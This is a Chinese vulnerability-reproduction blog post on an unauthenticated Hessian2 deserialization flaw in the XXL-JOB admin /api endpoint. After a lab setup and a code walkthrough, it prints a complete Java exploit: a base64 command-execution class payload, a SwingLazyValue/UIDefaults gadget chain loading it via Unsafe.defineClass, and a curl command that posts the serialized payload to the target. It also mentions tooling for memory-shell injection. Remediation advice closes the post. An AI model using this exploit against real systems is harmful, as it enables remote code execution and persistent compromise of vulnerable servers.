请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!
XXL-JOB 是一个分布式任务调度平台,其前后端之间通过 Hessian2 序列化协议传输数据,XXL-JOB 的 /api
接口允许未授权访问,攻击者可以构造恶意的 Hessian2 序列化数据并发送到服务端,导致反序列化漏洞。该漏洞主要影响 XXL-JOB 的早期版本(<= 2.0.2)
下载地址:
https://github.com/xuxueli/xxl-job/archive/refs/tags/v2.0.0.zip ,这里选择v2.0.0版本,解压并使用IDEA导入项目
初始化数据库,数据库文件在 /doc/db/tables_xxl_job.sql,执行完脚本之后,就会新建一个 xxl_job的数据库
修改管理端配置文件
xxl-job-2.0.0/xxl-job-admin/src/main/resources/application.properties
如果修改了管理端默认端口8080,同时也得修改执行端中的对应地址端口,/xxl-job-2.0.1/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
启动管理端和执行端,两个都需要启动
然后访问:http://localhost:8080/xxl-job-admin,使用默认密码(admin,123456)即可登陆
访问 http://127.0.0.1:8080/xxl-job-admin/api 时,可发现这是一个未授权访问,先全局搜索/api关键词,可以定位到是在JobApiController中管理/api这个路由
进入com.xxl.job.admin.controller.JobApiController,发现这里默认关闭了权限控制,导致api可以未授权访问,这里就是/api路由的入口点,这里传入请求对象request
跟进invokeAdminService方法,来到com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService
继续跟进handle,来到com.xxl.rpc.remoting.net.impl.jetty.server.JettyServerHandler#handle,这里会将传入的request交给parseRequest进行处理
继续跟进parseRequest,来到com.xxl.rpc.remoting.net.impl.jetty.server.JettyServerHandler#parseRequest,首先从request中读取请求体,将其转换为字节数组,然后判断字节数组是否为空,如果为空则抛出异常;如果不为空,则进行反序列化
privateXxlRpcRequest parseRequest(HttpServletRequest request) throws IOException {
// 从HttpServletRequest中读取请求体内容,将其转换为字节数组
byte[] requestBytes = readBytes(request);
// 检查读取到的字节数组是否为空
if (requestBytes != null && requestBytes.length != 0) {
// 使用xxlRpcProviderFactory获取序列化器
// 调用序列化器的deserialize方法,将字节数组反序列化为XxlRpcRequest对象
// 这里的反序列化过程是将字节数据转换为Java对象,通常使用JSON或其他序列化格式
XxlRpcRequest rpcXxlRpcRequest = (XxlRpcRequest)this.xxlRpcProviderFactory.getSerializer().deserialize(requestBytes, XxlRpcRequest.class);
// 返回解析后的XxlRpcRequest对象
return rpcXxlRpcRequest;
} else {
// 如果请求体为空(字节数组为空或长度为0),抛出自定义异常XxlRpcException
// 提示请求数据为空,无法进行后续处理
throw new XxlRpcException("XxlRpcRequest byte[] is null");
}
}
在反序列化处下断点并开启dubug调试,使用burpsuite构造一个请求体不为空的post请求进行发送,IDEA可以成功拦截到数据流
断点步入deserialize方法,来到com.xxl.rpc.serialize.impl.HessianSerializer#deserialize,发现调用了Hessian2Input的readObject方法,所以确定后端是使用 Hessian 2 协议将字节数组反序列化为指定类型的对象
现在已经分析出来了xxl-job会将/api请求的请求体进行hessian2反序列化处理,那么复现就很简单了,可以直接使用各种带有hessian2利用链的工具生成payload进行发送即可。这里使用代码去实现,首先得了解hessian2,下面代码实现了hessian2的序列化和反序列化,会序列化生成一个hessian.ser文件
publicclasshessian2 {staticSerializerFactoryserializerFactory=newSerializerFactory();publicstaticvoidmain(String[] args) throwsException {Stringpayload="yv66vgAAADQAVQoAFwAqCAArCAAsCgAtAC4KAAgALwgAMAoACAAxBwAyCAAgCAAzCAA0CAA1BwA2CgA3ADgKADcAOQoAOgA7CgANADwIAD0KAA0APgoADQA/BwBABwArBwBBAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMY2FsYzsBAAg8Y2xpbml0PgEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAMgcAIwcAQAEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMABgAGQEABGNhbGMBAAdvcy5uYW1lBwBCDABDAEQMAEUARgEAA3dpbgwARwBIAQAQamF2YS9sYW5nL1N0cmluZwEAAi9jAQAJL2Jpbi9iYXNoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgcASQwASgBLDABMAE0HAE4MAE8AUAwAGABRAQACXEEMAFIAUwwAVABGAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAhABYAFwAAAAAAAgABABgAGQABABoAAAAvAAEAAQAAAAUqtwABsQAAAAIAGwAAAAYAAQAAAAMAHAAAAAwAAQAAAAUAHQAeAAAACAAfABkAAQAaAAAA1gAEAAMAAABdEgJLAUwSA7gABLYABRIGtgAHmQAZBr0ACFkDEglTWQQSClNZBSpTTKcAFga9AAhZAxILU1kEEgxTWQUqU0y7AA1ZuAAOK7YAD7YAELcAERIStgATtgAUTacABEuxAAEAAABYAFsAFQADABsAAAAmAAkAAAAGAAMABwAFAAgAFQAJACsACwA+AA4AWAAQAFsADwBcABIAHAAAABYAAgADAFUAIAAhAAAABQBTACIAIwABACQAAAAXAAT9ACsHACUHACYS/wAcAAAAAQcAJwAAAQAoAAAAAgAp";byte[] decodedClassBytes=java.util.Base64.getDecoder().decode(payload);ClassPoolclassPool=ClassPool.getDefault();CtClassctClass=classPool.makeClass(newjava.io.ByteArrayInputStream(decodedClassBytes));CtConstructorstaticConstructor=ctClass.makeClassInitializer();staticConstructor.insertBefore("System.out.println("success");");ctClass.setName("org.apache.WebSocketUpgradeOfpuanListener."+UUID.randomUUID().toString().replace("-", ""));payload=java.util.Base64.getEncoder().encodeToString(ctClass.toBytecode());Stringnew_ClassName=ctClass.getName();byte[] bcode=Base64.decode(payload);serializerFactory.setAllowNonSerializable(true);Methodinvoke=MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);MethoddefineClass=Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);Fieldf=Unsafe.class.getDeclaredField("theUnsafe");f.setAccessible(true);Objectunsafe=f.get(null);Object[] ags=newObject[]{invoke, newObject(), newObject[]{defineClass, unsafe, newObject[]{new_ClassName, bcode, 0, bcode.length, null, null}}};SwingLazyValueswingLazyValue=newSwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);SwingLazyValueswingLazyValue1=newSwingLazyValue(new_ClassName, null, newObject[0]);Object[] keyValueList=newObject[]{"abc", swingLazyValue};Object[] keyValueList1=newObject[]{"ccc", swingLazyValue1};UIDefaultsuiDefaults1=newUIDefaults(keyValueList);UIDefaultsuiDefaults2=newUIDefaults(keyValueList);UIDefaultsuiDefaults3=newUIDefaults(keyValueList1);UIDefaultsuiDefaults4=newUIDefaults(keyValueList1);Hashtable<Object, Object>hashtable1=newHashtable<>();Hashtable<Object, Object>hashtable2=newHashtable<>();Hashtable<Object, Object>hashtable3=newHashtable<>();Hashtable<Object, Object>hashtable4=newHashtable<>();hashtable1.put("a", uiDefaults1);hashtable2.put("a", uiDefaults2);hashtable3.put("b", uiDefaults3);hashtable4.put("b", uiDefaults4);serObj(hashtable1, hashtable2, hashtable3, hashtable4);readObj(); }staticvoidserObj(Objecthashtable1, Objecthashtable2, Objecthashtable3, Objecthashtable4) throwsException {HashMap<Object, Object>s=newHashMap<>();Reflections.setFieldValue(s, "size", 4);Class<?>nodeC;try {nodeC=Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundExceptione) {nodeC=Class.forName("java.util.HashMap$Entry"); }Constructor<?>nodeCons=nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Objecttbl=Array.newInstance(nodeC, 4);Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));Reflections.setFieldValue(s, "table", tbl);Hessian2Outputhessian2Output=newHessian2Output(newFileOutputStream("hessian.ser"));hessian2Output.setSerializerFactory(serializerFactory);hessian2Output.writeObject(s);hessian2Output.close(); }staticvoidreadObj() throwsException {Hessian2Inputhessian2Input=newHessian2Input(newFileInputStream("hessian.ser"));hessian2Input.readObject(); }}
将生成的文件发送到目标即可完成利用
curl -XPOST --data-binary@hessian.ser http://127.0.0.1:8080/xxl-job-admin/api -H "Content-Type:x-application/hessian"
当然以上的代码已经可以实现了漏洞利用,下面对其进行工具封装,已经实现了内存马注入,命令执行
命令执行
内存马注入
1、升级到 XXL-JOB 的最新版本
2、对/api接口进行严格的权限验证,确保只有授权用户可以访问
3、如果业务允许,可以禁用 Hessian2 序列化协议,改用其他更安全的序列化方式
参考链接:包括但不局限于下面链接,当文章涉及侵权问题时,请与我联系,我将立即删除。
https://xz.aliyun.com/news/10539
https://blog.csdn.net/m0_63828240/article/details/141326602
https://blog.csdn.net/LiangYueSec/article/details/142753382
https://forum.butian.net/share/2592
https://blog.wanghw.cn/security/hessian-deserialization-jdk-rce-gadget.html
https://mp.weixin.qq.com/s/AKufROJaT6DLDqyykslrAg
https://blog.csdn.net/Err0r233/article/details/140818646
原文始发于微信公众号(Sec探索者):【漏洞复现】XXL-JOB-Admin 前台api未授权 hessian2反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论